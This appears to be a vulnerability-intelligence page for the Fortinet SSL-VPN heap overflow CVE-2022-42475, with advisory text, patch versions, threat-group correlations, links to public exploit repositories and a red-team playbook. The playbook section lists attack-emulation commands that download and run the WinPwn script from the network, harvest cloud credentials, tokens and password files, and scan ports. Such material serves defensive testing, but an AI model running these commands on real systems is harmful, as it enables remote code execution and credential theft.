CVE-2022-42475
Overview
This vulnerability is a heap-based buffer overflow occurring within the SSL-VPN component of Fortinet FortiOS and FortiProxy products. The root cause lies in improper bounds checking during the processing of specially crafted SSL-VPN requests, which leads to memory corruption on the heap. Affected versions span multiple FortiOS and FortiProxy releases, specifically in their SSL-VPN implementations handling remote request data.
Vulnerability Description
A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier and FortiProxy SSL-VPN 7.2.0 through 7.2.1, 7.0.7 and earlier may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code or commands on the affected system, gaining full control over the device. No user interaction or credentials are required to trigger the flaw, enabling potential complete system compromise. This can lead to unauthorized access to sensitive network infrastructure, disruption of VPN services, and lateral movement within the network environment.
Solution
Fortinet has released security updates addressing this vulnerability in FortiOS versions 7.2.3, 7.0.9, 6.4.11, and 6.2.12, as well as FortiProxy versions 7.2.2 and 7.0.8. Administrators should apply these patches promptly to affected devices. Detailed patch instructions and advisory information are available at Fortinet's official PSIRT page: https://fortiguard.com/psirt/FG-IR-22-398.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Correlated Groups
Correlations are established through analysis of shared tools, tactics, and infrastructure between threat groups and vulnerabilities. They do not represent direct confirmation of exploitation.
| Group | Confidence | Victims | Source |
|---|---|---|---|
|
UNC3886
|
MEDIUM | — | correlation_mitre |
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The heap-based buffer overflow vulnerability in FortiOS and FortiProxy SSL-VPN products represents a significant risk to organizations utilizing these platforms. This type of vulnerability occurs when a program writes more data to a buffer located on the heap than it can hold, leading to adjacent memory being overwritten. In the context of FortiOS SSL-VPN versions 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, and earlier versions, as well as FortiProxy SSL-VPN versions 7.2.0 through 7.2.1, this flaw allows an unauthenticated remote attacker to execute arbitrary code or commands through specially crafted requests. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical level of risk.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving the manipulation of SSL-VPN requests. An attacker could craft malicious requests targeting the affected versions of FortiOS and FortiProxy, which, when processed by the vulnerable software, could lead to the execution of arbitrary code. This could allow the attacker to gain unauthorized access to sensitive systems, escalate privileges, or even deploy malware. Given that the vulnerability is accessible to unauthenticated users, the barrier to exploitation is significantly lowered, making it a prime target for cybercriminals seeking to compromise network security.
The real-world impact of this vulnerability can be profound, particularly for organizations that rely on Fortinet's SSL-VPN solutions for secure remote access. Successful exploitation could lead to data breaches, loss of sensitive information, and disruption of services. The potential for unauthorized access to corporate networks could result in significant financial losses, reputational damage, and regulatory repercussions. Organizations in sectors such as finance, healthcare, and critical infrastructure, where data integrity and confidentiality are paramount, face heightened risks if they do not address this vulnerability promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating and patching affected systems is crucial, as Fortinet has released updates to address the flaw in the vulnerable versions. Additionally, organizations should employ intrusion detection systems (IDS) and intrusion prevention systems (IPS) to monitor for unusual traffic patterns that may indicate attempts to exploit the vulnerability. Network segmentation and strict access controls can further limit the potential impact of an attack, ensuring that even if a breach occurs, the attacker’s ability to move laterally within the network is restricted.
In conclusion, the heap-based buffer overflow vulnerability in FortiOS and FortiProxy SSL-VPN products poses a critical threat to organizations that utilize these systems. The ease of exploitation, combined with the potential for severe consequences, necessitates immediate attention from cybersecurity teams. By adopting proactive detection and mitigation strategies, organizations can significantly reduce their risk exposure and safeguard their networks against this and similar vulnerabilities.
Recent updates to the CVE-2022-42475 vulnerability reveal a downward revision of its CVSS score from 9.8 to 9.3, reflecting a refined understanding of its exploitability and impact. CSURFACE threat intelligence indicates that while the vulnerability remains critical, this adjustment aligns with observed exploitation patterns and mitigations reducing the likelihood of widespread, uncontrolled compromise. Notably, the EPSS score remains high and stable, underscoring persistent risk despite the slight score reduction. Our telemetry continues to detect active use of publicly available proof-of-concept exploits, which facilitates adversary engagement, including ransomware groups such as UNC3886 and Iranian IRGC-linked operators. The confirmed ransomware association within the Known Exploited Vulnerability (KEV) catalog reinforces the urgency for defenders to maintain vigilance. This nuanced change in severity does not diminish the critical nature of the vulnerability but suggests a marginal recalibration of threat prioritization. Defenders should interpret this update as an affirmation of ongoing risk, with exploitation activity sustaining a steady tempo rather than escalating rapidly, thereby informing resource allocation and response strategies accordingly.
Update 2 — July 04, 2026
CSURFACE threat intelligence has identified a discernible uptick in exploitation attempts targeting CVE-2022-42475, accompanied by an upward revision of its CVSS score to 9.8, reflecting a heightened potential for remote code execution without authentication. This recalibration underscores the vulnerability’s criticality, particularly given its exploitation by ransomware-affiliated threat actors such as UNC3886 and Iranian IRGC-linked groups. While the overall exploitation tempo remains steady without rapid acceleration, the increased detection frequency signals persistent adversary interest and operational use in the wild. The emergence and proliferation of multiple proof-of-concept exploits further lower the barrier for threat actors to weaponize this flaw, amplifying the risk landscape. Consequently, defenders should regard this vulnerability as an elevated priority within their risk management frameworks, acknowledging the sustained and credible threat posed by sophisticated ransomware campaigns leveraging this vector.
Affected Products (19)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (8)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
scrt/cve-2022-42475
POC code to exploit the Heap overflow in Fortinet's SSLVPN daemon
|
scrt | 109 | 26 | 2023-02-23 | View |
|
0xhaggis/CVE-2022-42475
An exploit for CVE-2022-42475, a pre-authentication heap overflow in Fortinet networking products
|
0xhaggis | 34 | 1 | 2023-06-21 | View |
|
P4x1s/CVE-2022-42475-RCE-POC
CVE-2022-42475 飞塔RCE漏洞 POC
|
P4x1s | 8 | 1 | 2023-03-23 | View |
|
Amir-hy/cve-2022-42475
FortiOS buffer overflow vulnerability
|
Amir-hy | 7 | 1 | 2023-03-16 | View |
|
Mustafa1986/cve-2022-42475-Fortinet
|
Mustafa1986 | 1 | 3 | 2023-03-22 | View |
|
bryanster/ioc-cve-2022-42475
test for the ioc described for FG-IR-22-398
|
bryanster | 1 | 1 | 2023-01-17 | View |
|
ArthurHendrich/CVE-2022-42475-POC
|
ArthurHendrich | 0 | 0 | 2026-02-27 | View |
|
natceil/cve-2022-42475
|
natceil | 0 | 0 | 2023-04-27 | View |
Ransomware Groups 1
Threat Feed
11 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-42475 |
| fortiguard.com |
GitHub CVE
|
https://fortiguard.com/psirt/FG-IR-22-398 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-42475 |